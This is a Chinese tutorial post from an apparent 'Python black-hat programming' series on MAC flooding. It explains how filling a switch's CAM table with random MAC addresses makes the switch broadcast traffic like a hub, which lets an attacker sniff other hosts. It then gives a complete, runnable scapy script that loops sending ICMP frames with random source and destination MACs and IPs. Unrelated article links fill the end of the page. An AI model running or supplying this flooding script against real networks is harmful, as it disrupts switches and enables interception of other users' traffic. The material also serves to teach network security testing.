Python灰帽编程 3.3 MAC洪水

传统的交换机(我只对我目前使用的交互机做过测试,按照常识只能这样表述)在数据转发过程中依靠对CAM表的查询来确定正确的转发接口,一旦在查询过程中无法找到相关目的MAC对应的条目,此数据帧将作为广播帧来处理。CAM表的容量有限,只能储存不多的条目,当CAM表记录的MAC地址达到上限后,新的条目将不会添加到CAM表中。

基于以上原理,我们会发现一个非常有趣的现象。某台PC不断发送去往未知目的地的数据帧,且每个包的源MAC地址都不同,当这样 的数据包发送的速度足够快之后,快到在刷新时间内将交换机的CAM表迅速填满。CAM表被这些伪造的MAC地址占据,真实的MA C地址条目却无法进入CAM表。那么任何一个经过交换机的正常单播数据帧都会以广播帧的形式来处理。交换机在此种情况下被降级为Hub。

交换机降级为hub之后,我们就可以监听所有连接到该交换机的主机的数据了。

当然,具体交互设备对ARP洪水的响应是不一样的,需要实地测试。下面我们进入编程环节。

3.3.1 编码实战

构造随机的MAC和IP地址方法有很多,因为地址的标准格式在那里,很容易拼装。这里要给大家介绍的是scapy模块中的RandMAC和RandIP方法。这两个方法用来随机产生MAC地址和IP地址,方法接收模板参数,来产生特定网段的地址。

例如下面的代码:

#!/usr/bin/python

from scapy.all import *

i=5

while(i):

print RandMAC()

print RandIP()

i=i-1

运行结果如下图:

图2

如果需要产生固定网段的IP,可以输入指定的模板。

#!/usr/bin/python

from scapy.all import *

i=5

while(i):

print RandIP("192.168.1.*")

i=i-1

运行结果如下:

图3

随机的问题解决之后,下面我们考虑下什么样的数据包能达到目的呢?回看一下前文提到的内容,只要我们的数据包中有指定的源IP和MAC,那么交换机就会进行记录。

例如ARP包:

Ether(src=RandMAC(),dst="FF:FF:FF:FF:FF:FF")/ARP(op=2, psrc="0.0.0.0", hwdst="FF:FF:FF:FF:FF:FF")/Padding(load="X"*18))

例如ICMP包:

Ether(src=RandMAC("*:*:*:*:*:*"),

dst=RandMAC("*:*:*:*:*:*")) / \

IP(src=RandIP("*.*.*.*"),

dst=RandIP("*.*.*.*")) / \

ICMP()

两个核心问题解决了,可以写完整的代码了:

图4

#!/usr/bin/python

import sys

from scapy.all import *

import time

iface="eth0"

if len(sys.argv)>=2:

iface=sys.argv[1]

while(1):

packet= Ether(src=RandMAC("*:*:*:*:*:*"),

dst=RandMAC("*:*:*:*:*:*")) / \

IP(src=RandIP("*.*.*.*"),

dst=RandIP("*.*.*.*")) / \

ICMP()

time.sleep(0.5)

sendp(packet,iface=iface,loop=0)

上面的代码通过不停的发送ICMP数据包,来实现MAC洪水攻击。运行结果如下:

图5

3.3.2 小结

本节的内容在编程上没有什么新的知识值得探讨,主要希望大家对交换网络和以太网的理解通过编程的方式进一步加深。

下一节,我们一起探讨下针对VLAN的攻击。

3.3节《VLAN攻击》已经在微信订阅号抢先发布,心急的同学进入订阅号(二维码在下方),从菜单专栏”—>”Python黑帽编程进入即可。

查看完整系列教程,请关注我的微信订阅号(xuanhun521,下方二维码),回复“python”。问题讨论请加qq群:Hacking (1群):303242737   Hacking (2群):147098303。

玄魂工作室-精彩不断

Python黑帽编程 3.3 MAC洪水攻击的更多相关文章

  1. Python黑帽编程 4.0 网络互连层攻击概述

    Python黑帽编程 4.0 网络互连层攻击概述 是时候重新温习下下面这张图了. 图2 本章的内容核心包含上图中的网络层和传输层.TCP/IP是整个网络协议体系中的核心,因为从这里开始,数据传输从局域 ...

  2. Python 黑帽编程大纲(变化中)

    Python 黑帽编程大纲(预览版) 教程说明: 本系列教程,采用的大纲母本为<Understanding Network Hacks Attack and Defense with Pytho ...

  3. Python黑帽编程 3.2 ARP监控

    Python黑帽编程 3.2 ARP监控 在第3.1节<ARP欺骗>中,我们学习了ARP的基本原理,使用Python实现了我们自己的ARP欺骗工具.在上一节的基础上,我们来实现一个ARP监 ...

  4. Python黑帽编程 3.4 跨越VLAN

    Python黑帽编程 3.4 跨域VLAN VLAN(Virtual Local Area Network),是基于以太网交互技术构建的虚拟网络,既可以将同一物理网络划分成多个VALN,也可以跨越物理 ...

  5. Python黑帽编程1.1虚拟机安装和配置 Kali Linux 2016

    Python黑帽编程1.1虚拟机安装和配置 Kali Linux 2016 0.1  本系列教程说明 本系列教程,采用的大纲母本为<Understanding Network Hacks Att ...

  6. Python黑帽编程1.3 Python运行时与包管理工具

    Python黑帽编程1.3  Python运行时与包管理工具 0.1  本系列教程说明 本系列教程,采用的大纲母本为<Understanding Network Hacks Attack and ...

  7. PYTHON黑帽编程1.5 使用WIRESHARK练习网络协议分析

    Python黑帽编程1.5  使用Wireshark练习网络协议分析 1.5.0.1  本系列教程说明 本系列教程,采用的大纲母本为<Understanding Network Hacks At ...

  8. Python黑帽编程2.8 套接字编程

    Python黑帽编程2.8 套接字编程 套接字编程在本系列教程中地位并不是很突出,但是我们观察网络应用,绝大多数都是基于Socket来做的,哪怕是绝大多数的木马程序也是如此.官方关于socket编程的 ...

  9. Python黑帽编程3.0 第三章 网络接口层攻击基础知识

    3.0 第三章 网络接口层攻击基础知识 首先还是要提醒各位同学,在学习本章之前,请认真的学习TCP/IP体系结构的相关知识,本系列教程在这方面只会浅尝辄止. 本节简单概述下OSI七层模型和TCP/IP ...

随机推荐

  1. [译]:Xamarin.Android开发入门——Hello,Android深入理解

    返回索引目录 原文链接:Hello, Android_DeepDive. 译文链接:Xamarin.Android开发入门--Hello,Android深入理解 本部分介绍利用Xamarin开发And ...

  2. cout输出控制——位数和精度控制

    刷到一道需要控制输出精度和位数的题目 刚开始以为单纯使用 iomanip 函数库里的 setprecision 就可以,但 OJ 给我判了答案错误,后来一想这样输出并不能限制位数只能限制有效位数. 比 ...

  3. JavaOO面向对象中的注意点(三)

    1.接口 a.关键字:interface public interface Serviceable{ //TODO } b.属性:只能是 公共 静态 常量 属性--就算不写这三个关键字,也是默认这种情 ...

  4. 移动端css知识总结--字体,毛玻璃效果,input和disabled

    移动端字体使用: font-family: Helvetica,sans-serif;我看这也是天猫使用的 透过背景看其他元素模糊,自身元素不模糊:-webkit-backdrop-filter: s ...

  5. vue2.0有哪些变化

    vue2.0之后有哪些变化: 1.每个组件模板template,不再支持片段代码 之前: <template> <h3>vue-router+vue-loader</h3 ...

  6. Xcode 突然有部分文件不显示

    今天突然Xcode抽风了,突然我的项目中的文件好多不显示出来,本地文件夹都有,见鬼了..... 真心坑死了,于是乎就找度娘了,果然被我发现了 看见这个蓝色小时钟没呀,就是他在捣鬼,我点击一下变成灰色就 ...

  7. dos学习

    >>>>>>>>>> arp-a:查看路由缓存表,所有的IP都在这里. ping <ip地址(例:192.168.x.x)>:查 ...

  8. yotaku的开发日志(1)

    2015-12-18 21:17:46 连续看了几天的ThinkPHP框架,目前看到基于角色的用户访问权限控制. 相关代码如下: 数据库 用户表(管理员) mg_id mg_name mg_pwd m ...

  9. [svg翻译教程]椭圆(ellipse元素)和线(line元素)

    line 先看个例子,这是svg中最简单的线 <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http:/ ...

  10. 学习安装并配置前端自动化工具Gulp

    Gulp和所有Gulp插件都是基于nodeJs来运行的,因此在你的电脑上需要安装nodeJs,安装过程请移驾安装并配置前端自动化工具--grunt.安装完成后,通过运行cmd进入DOS命令窗口,如图: ...